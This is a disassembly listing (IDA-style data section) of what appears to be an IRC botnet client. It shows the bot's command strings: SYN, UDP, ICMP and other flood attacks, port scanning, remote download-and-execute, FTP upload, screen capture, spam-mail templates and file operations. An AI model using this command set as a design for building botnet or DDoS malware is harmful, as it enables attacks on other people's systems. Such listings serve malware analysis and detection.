		align 4
aDelete_0	db 'delete',0           ; DATA XREF: sub_401C87+466Bo
		align 4
aS_5		db '%s',0               ; DATA XREF: sub_401C87+4686o
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401C87+4693o
		align 4
aS_6		db '%s',0               ; DATA XREF: sub_401C87+46B9o
		align 4
aS_7		db '%s',0               ; DATA XREF: sub_401C87+46CFo
		align 10h
unk_441B80	db  2Dh	; -		; DATA XREF: sub_401C87+4707o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
unk_441BA4	db  2Dh	; -		; DATA XREF: sub_401C87:loc_406398o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
aUser_0		db 'user',0             ; DATA XREF: sub_401C87+471Eo
		align 4
aS_8		db '%s',0               ; DATA XREF: sub_401C87+4754o
		align 10h
aS_9		db '%s',0               ; DATA XREF: sub_401C87+476Fo
		align 4
aS_10		db '%s',0               ; DATA XREF: sub_401C87+4780o
		align 4
unk_441BD8	db  2Dh	; -		; DATA XREF: sub_401C87+47B8o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_441BF8	db  2Dh	; -		; DATA XREF: sub_401C87:loc_406446o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401C87+47C9o
		align 10h
aS_11		db '%s',0               ; DATA XREF: sub_401C87+47F8o
		align 4
unk_441C24	db  2Dh	; -		; DATA XREF: sub_401C87:loc_406492o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
unk_441C48	db  2Dh	; -		; DATA XREF: sub_401C87:loc_406499o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
aCapture	db 'capture',0          ; DATA XREF: sub_401C87+482Bo
aCap		db 'cap',0              ; DATA XREF: sub_401C87+4840o
aGethost	db 'gethost',0          ; DATA XREF: sub_401C87+4855o
aGh		db 'gh',0               ; DATA XREF: sub_401C87+486Ao
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401C87+4893o
aKl		db 'kl',0               ; DATA XREF: sub_401C87+48AAo
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401C87+48C1o
		align 4
aAa		db 'aa',0               ; DATA XREF: sub_401C87+48D8o
		align 4
aPrivmsg_1	db 'privmsg',0          ; DATA XREF: sub_401C87+48EFo
aPm		db 'pm',0               ; DATA XREF: sub_401C87+4906o
		align 4
aAction		db 'action',0           ; DATA XREF: sub_401C87+491Do
		align 4
aA:					; DATA XREF: sub_401C87+4934o
		unicode	0, <a>,0
aCycle		db 'cycle',0            ; DATA XREF: sub_401C87+494Bo
		align 4
aCy		db 'cy',0               ; DATA XREF: sub_401C87+4962o
		align 4
aMode_0		db 'mode',0             ; DATA XREF: sub_401C87+4979o
		align 2
aM		db 'm',0                ; DATA XREF: sub_401C87+4990o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401C87+49A7o
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401C87+49BEo
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401C87+49D5o
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401C87+49ECo
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401C87+4A03o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401C87+4A1Ao
aC_join		db 'c_join',0           ; DATA XREF: sub_401C87+4A31o
		align 10h
aC_j		db 'c_j',0              ; DATA XREF: sub_401C87+4A48o
aC_part		db 'c_part',0           ; DATA XREF: sub_401C87+4A5Fo
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401C87+4A76o
aTarga3		db 'targa3',0           ; DATA XREF: sub_401C87+4A8Do
		align 4
aT3		db 't3',0               ; DATA XREF: sub_401C87+4AA4o
		align 4
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401C87+4ABBo
aTsn		db 'tsn',0              ; DATA XREF: sub_401C87+4AD2o
aRepeat		db 'repeat',0           ; DATA XREF: sub_401C87+4AE9o
		align 10h
aRp		db 'rp',0               ; DATA XREF: sub_401C87+4B00o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401C87+4B17o
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401C87+4B2Eo
		align 10h
aUpdate32111	db 'update32111',0      ; DATA XREF: sub_401C87+4B45o
aUp32111	db 'up32111',0          ; DATA XREF: sub_401C87+4B5Co
aExecute	db 'execute',0          ; DATA XREF: sub_401C87+4B73o
aE:					; DATA XREF: sub_401C87+4B8Ao
		unicode	0, <e>,0
aFindfile	db 'findfile',0         ; DATA XREF: sub_401C87+4BA1o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401C87+4BB8o
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401C87+4BCFo
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401C87+4BE6o
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401C87+4BFDo
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401C87+4C14o
		align 10h
aClone_0	db 'clone',0            ; DATA XREF: sub_401C87+4C3Do
aC		db 'c',0                ; DATA XREF: sub_401C87+4C54o
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401C87+4C6Bo
		align 4
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401C87+4C82o
		align 10h
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401C87+4C99o
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401C87+4CB0o
		align 4
unk_441DB8	db  2Dh	; -		; DATA XREF: sub_401C87+4D71o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aSynflood	db 'synflood',0         ; DATA XREF: sub_401C87+4D93o
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401C87+4DAAo
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401C87+4DC1o
		align 10h
dword_441E10	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401C87+4E41o
aFloodingSSForS	db '- Flooding: (%s:%s) for %s seconds.',0
dword_441E40	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401C87+4E9Do
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401C87+4EBFo
		align 4
aWonk		db 'wonk',0             ; DATA XREF: sub_401C87+4ED6o
		align 10h
aDownload32111	db 'download32111',0    ; DATA XREF: sub_401C87+4EEDo
		align 10h
aD32111		db 'd32111',0           ; DATA XREF: sub_401C87+4F04o
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401C87+4F1Bo
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401C87+4F32o
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401C87+4F49o
		align 10h
aSc		db 'sc',0               ; DATA XREF: sub_401C87+4F60o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401C87+4F77o
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401C87+4F8Eo
		align 4
aC_action	db 'c_action',0         ; DATA XREF: sub_401C87+4FA5o
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401C87+4FBCo
aPortscan	db 'portscan',0         ; DATA XREF: sub_401C87+4FE2o
		align 4
aPsc		db 'psc',0              ; DATA XREF: sub_401C87+4FF9o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401C87+5010o
aAsc		db 'asc',0              ; DATA XREF: sub_401C87+5027o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401C87+503Eo
		align 10h
aUdp		db 'udp',0              ; DATA XREF: sub_401C87+5055o
aU:					; DATA XREF: sub_401C87+506Co
		unicode	0, <u>,0
aNetsend	db 'netsend',0          ; DATA XREF: sub_401C87+5083o
aNs		db 'ns',0               ; DATA XREF: sub_401C87+509Ao
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401C87+50B1o
		align 10h
aPing_0		db 'ping',0             ; DATA XREF: sub_401C87+50C8o
		align 2
aP		db 'p',0                ; DATA XREF: sub_401C87+50DFo
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401C87+50F6o
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401C87+510Do
aEmail		db 'email',0            ; DATA XREF: sub_401C87+5124o
asc_441F4E	db ' ',0                ; DATA XREF: sub_401C87+516Eo
a__0:					; DATA XREF: sub_401C87+5173o
		unicode	0, <_>,0
		align 8
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401C87+520Fo
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
unk_441FA4	db  2Dh	; -		; DATA XREF: sub_401C87+5283o
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401C87+52D2o
aHcon		db 'hcon',0             ; DATA XREF: sub_401C87+52E5o
		align 4
aSyn_0		db 'syn',0              ; DATA XREF: sub_401C87+5343o
aAck		db 'ack',0              ; DATA XREF: sub_401C87+535Bo
aRandom_0	db 'random',0           ; DATA XREF: sub_401C87+5372o
		align 4
unk_441FE8	db  2Dh	; -		; DATA XREF: sub_401C87+5382o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401C87+5417o
aNormal		db 'Normal',0           ; DATA XREF: sub_401C87+541Eo
		align 4
unk_442024	db  2Dh	; -		; DATA XREF: sub_401C87+542Eo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
unk_442058	db  2Dh	; -		; DATA XREF: sub_401C87+5492o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_16	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_442090	db  2Dh	; -		; DATA XREF: sub_401C87:loc_407135o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTi	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_4420C8	db  2Dh	; -		; DATA XREF: sub_401C87+557Eo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_442110	db  2Dh	; -		; DATA XREF: sub_401C87+55D7o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_17	db 'Failed to start flood thread, error: <%d>.',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401C87+5601o
		align 10h
unk_442160	db  2Dh	; -		; DATA XREF: sub_401C87+561Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
unk_44219C	db  2Dh	; -		; DATA XREF: sub_401C87+56CEo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_4421D4	db  2Dh	; -		; DATA XREF: sub_401C87+56F2o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_442208	db  2Dh	; -		; DATA XREF: sub_401C87+5726o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_442240	db  2Dh	; -		; DATA XREF: sub_401C87+57D4o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_442288	db  2Dh	; -		; DATA XREF: sub_401C87+582Do
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_18	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_4422C0	db  2Dh	; -		; DATA XREF: sub_401C87+5875o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScan_0	db 'Already %d scanning threads. Too many specified.',0
		align 10h
aUpload		db 'upload',0           ; DATA XREF: sub_401C87+58ABo
		align 4
unk_442308	db  2Dh	; -		; DATA XREF: sub_401C87+58CEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401C87+5954o
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401C87+5965o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401C87+5989o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aSS_0		db '-s:%s',0            ; DATA XREF: sub_401C87+59A9o
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401C87+59C0o
aOpen_0		db 'open',0             ; DATA XREF: sub_401C87+59C5o
		align 4
unk_442378	db  2Dh	; -		; DATA XREF: sub_401C87+59D9o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s',0
		align 10h
unk_4423A0	db  2Dh	; -		; DATA XREF: sub_401C87:loc_407667o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s failed.',0
		align 10h
unk_4423D0	db  2Dh	; -		; DATA XREF: sub_401C87+5B04o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_19	db 'Failed to start scan, port is invalid.',0
		align 4
unk_442404	db  2Dh	; -		; DATA XREF: sub_401C87+5B61o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_20	db 'Failed to start scan, no IP specified.',0
		align 4
aRandom_1	db 'Random',0           ; DATA XREF: sub_401C87+5CA5o
		align 10h
aSequential_0	db 'Sequential',0       ; DATA XREF: sub_401C87+5CACo
		align 10h
unk_442450	db  2Dh	; -		; DATA XREF: sub_401C87+5CD7o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanSta_0	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_4424B8	db  2Dh	; -		; DATA XREF: sub_401C87+5D30o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_21	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
unk_4424F0	db  2Dh	; -		; DATA XREF: sub_401C87+5DDCo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 10h
unk_442540	db  2Dh	; -		; DATA XREF: sub_401C87+5E35o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_22	db 'Failed to start scan thread, error: <%d>.',0
		align 4
dword_44257C	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401C87+5EABo
dword_442588	dd 5D73255Bh, 25202A20h, 73252073h, 0 ;	DATA XREF: sub_401C87+5F3Fo
dword_442598	dd 5D73255Bh, 73253C20h, 7325203Eh, 0 ;	DATA XREF: sub_401C87+6041o
unk_4425A8	db  2Dh	; -		; DATA XREF: sub_401C87+60C5o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
unk_4425E4	db  2Dh	; -		; DATA XREF: sub_401C87+611Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_23	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_44261C	db  2Dh	; -		; DATA XREF: sub_401C87+61BEo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_442658	db  2Dh	; -		; DATA XREF: sub_401C87+6217o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_44269C	db  2Dh	; -		; DATA XREF: sub_401C87+62F8o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_4426C8	db  2Dh	; -		; DATA XREF: sub_401C87+6351o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_24	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_442708	db  2Dh	; -		; DATA XREF: sub_401C87+63DCo
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSForSS	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_442744	db  2Dh	; -		; DATA XREF: sub_401C87+6438o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_25	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_44277C	db  2Dh	; -		; DATA XREF: sub_401C87+64C3o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_4427AC	db  2Dh	; -		; DATA XREF: sub_401C87+651Fo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToSta_26	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_4427E4	db  2Dh	; -		; DATA XREF: sub_401C87+65BBo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSFo_1	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_442814	db  2Dh	; -		; DATA XREF: sub_401C87+6617o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_27	db 'Failed to start flood thread, error: <%d>.',0
		align 4
dword_44284C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401C87+66BEo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
dword_44287C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401C87+6717o
aFailedToSta_28	db '- Failed to start clone thread, error: <%d>.',0
		align 4
unk_4428B8	db  2Dh	; -		; DATA XREF: sub_401C87+67A3o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
unk_4428E4	db  2Dh	; -		; DATA XREF: sub_401C87+6807o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_29	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_44291C	db  2Dh	; -		; DATA XREF: sub_401C87:loc_4084ADo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFlood_0	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_442954	db  2Dh	; -		; DATA XREF: sub_401C87+6848o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
dword_442978	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401C87:loc_4084E4o
unk_442984	db  2Dh	; -		; DATA XREF: sub_401C87+68FBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
unk_4429B4	db  2Dh	; -		; DATA XREF: sub_401C87+695Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_4429F0	db  2Dh	; -		; DATA XREF: sub_401C87+6A11o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
dword_442A14	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401C87+6A1Co
		dd 7325203Ah, 0
dword_442A30	dd 73257325h, 6578652Eh, 0 ; DATA XREF:	sub_401C87+6A7Bo
dword_442A3C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401C87+6B20o
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
dword_442A68	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401C87+6B79o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
		align 8
dword_442AA8	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401C87:loc_40881Fo
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
a332_2		db '332',0              ; DATA XREF: sub_401C87+6BA8o
aSSSS_0		db '%s %s %s :%s',0     ; DATA XREF: sub_401C87+6BE7o
		align 4
dword_442B04	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401C87:loc_4088B2o
dword_442B18	dd 323333h		; DATA XREF: sub_401C87+6C45o
aRepeat_0	db 'repeat',0           ; DATA XREF: sub_401C87+6C6Co
		align 4
aSSSS		db '%s %s %s :%s',0     ; DATA XREF: sub_401C87+6C99o
		align 4
dword_442B34	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401C87+6CBFo
		dd 7325h
unk_442B4C	db  2Dh	; -		; DATA XREF: sub_401C87:loc_408981o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 10h
unk_442B80	db  2Dh	; -		; DATA XREF: sub_401C87+6D5Do
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_442BB4	db  2Dh	; -		; DATA XREF: sub_401C87+6DB6o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToSta_31	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
dword_442BF0	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401C87+6E2Eo
aFloodingSFor_1	db '- Flooding %s for %s seconds.',0
		align 4
dword_442C1C	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401C87+6E87o
aFailedToSta_32	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aPartS_0	db 'PART %s',0          ; DATA XREF: sub_401C87+6ED4o
aS_22		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401C87+6F0Do
		align 4
aJoinSS_1	db 'JOIN %s %s',0       ; DATA XREF: sub_401C87+6F3Fo
		align 4
aS_23		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401C87+6F78o
		align 4
aNickS_6	db 'NICK %s',0          ; DATA XREF: sub_401C87+6F86o
aS_24		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401C87+6FBEo
		align 4
dword_442C8C	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401C87+6FDDo
		dd 203A2973h, 7325h
dword_442CA8	dd 45444F4Dh, 732520h	; DATA XREF: sub_401C87+700Do
dword_442CB0	dd 0A0D7325h, 0		; DATA XREF: sub_401C87+7046o
dword_442CB8	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401C87+7065o
		dd 203A2973h, 7325h
dword_442CD4	dd 0A0D7325h, 0		; DATA XREF: sub_401C87+70B2o
dword_442CDC	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401C87+70D1o
		dd 25203A29h, 73h
dword_442CF8	dd 45444F4Dh, 0D732520h, 0Ah ; DATA XREF: sub_401C87+70FCo
unk_442D04	db  2Dh	; -		; DATA XREF: sub_401C87+710Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
a332_3		db '332',0              ; DATA XREF: sub_401C87+711Fo
aPartS_1	db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_401C87+7134o
		align 10h
aJoinSS_2	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+7161o
		align 10h
dword_442D40	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401C87+716Eo
dword_442D54	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401C87+71BAo
unk_442D60	db  2Dh	; -		; DATA XREF: sub_401C87+71DDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
unk_442D7C	db  2Dh	; -		; DATA XREF: sub_401C87+7237o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_442D9C	db  2Dh	; -		; DATA XREF: sub_401C87+7277o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
aSSSS_1		db '%s %s %s :%s',0     ; DATA XREF: sub_401C87+72EEo
		align 4
unk_442DCC	db  2Dh	; -		; DATA XREF: sub_401C87+7317o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_442DF4	db  2Dh	; -		; DATA XREF: sub_401C87:loc_408FB4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
dword_442E24	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401C87+7370o
		dd 2E732520h, 0
aScreen		db 'screen',0           ; DATA XREF: sub_401C87:loc_40900Fo
		align 4
unk_442E48	db  2Dh	; -		; DATA XREF: sub_401C87+73B9o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
unk_442E74	db  2Dh	; -		; DATA XREF: sub_401C87:loc_409050o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing screen.',0
		align 4
